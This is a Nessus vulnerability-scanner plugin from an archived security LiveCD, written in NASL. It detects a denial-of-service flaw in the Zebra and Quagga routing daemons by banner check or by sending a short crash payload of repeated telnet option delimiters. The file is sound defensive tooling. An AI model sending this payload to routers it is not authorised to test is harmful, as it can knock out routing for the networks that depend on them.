home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / zebra_dos.nasl < prev    next >
Text File  |  2005-03-31  |  2KB  |  72 lines

  1. # MA 2003-11-17: added Services/zebra + MIXED_ATTACK support
  2.  
  3. if(description)
  4. {
  5.         script_id(11925);
  6.         script_bugtraq_id(9029);
  7.         script_version("$Revision: 1.8 $");
  8.       if ( defined_func("script_xref") ) script_xref(name:"RHSA", value:"RHSA-2003:307-01");
  9.  
  10.     script_cve_id("CAN-2003-0795", "CAN-2003-0858");
  11.         name["english"] = "Zebra and Quagga Remote DoS";
  12.         script_name(english:name["english"]);
  13.         desc["english"] = "
  14. A remote DoS exists in Zebra and/or Quagga when sending a telnet option 
  15. delimiter with no actual option data.
  16.  
  17. An attacker may exploit this flaw to prevent this host from doing proper
  18. routing.
  19.  
  20. This affects all versions from 0.90a to 0.93b.
  21.  
  22. Solution: Quagga Version 0.96.4.
  23. Also see: http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=107140
  24. Risk factor:High";
  25.         script_description(english:desc["english"]);
  26.         summary["english"] = "Attempts to crash the remote service Zebra and/or Quagga";
  27.         script_summary(english:summary["english"]);
  28.         script_category(ACT_MIXED_ATTACK);
  29.         script_copyright(english:"This script is copyright (C) 2003 Matt North");
  30.     script_require_ports("Services/zebra", 2601, 2602, 2603, 2604, 2605);
  31.     script_dependencie("find_service.nes");
  32.         family["english"] = "Denial of Service";
  33.         script_family(english:family["english"]);
  34.         exit(0);
  35. }
  36.  
  37. # Maybe we should try this on any telnet server?
  38. port = get_kb_item("Services/zebra");
  39.  
  40. if (! port) port = 2601;
  41. if (! get_port_state(port)) exit(0);
  42.  
  43. if (safe_checks())
  44. {
  45.   banner = get_kb_item("zebra/banner/"+port);
  46.   if (!banner)
  47.   {
  48.     soc = open_sock_tcp(port);
  49.     if(!soc) exit(0);
  50.     banner = recv_line(socket: soc, length: 1024);
  51.     set_kb_item(name: "zebra/banner/"+port, value: banner);
  52.     close(soc);
  53.   }
  54.   if (banner && egrep(string: banner, 
  55.         pattern: "Hello, this is zebra \(version 0\.9[0-3][ab]?\)"))
  56.     security_hole(port: port);
  57.   exit(0);
  58. }
  59.  
  60. soc = open_sock_tcp(port);
  61. if(!soc) exit(0);
  62.  
  63. s = raw_string(0xff,0xf0,0xff,0xf0,0xff,0xf0);
  64.  
  65. send(socket:soc, data:s);
  66. r = recv(socket: soc, length:1024);
  67. close(soc);
  68. alive = open_sock_tcp(port);
  69. if(!alive) security_hole(port);
  70. else close(alive);
  71.  
  72.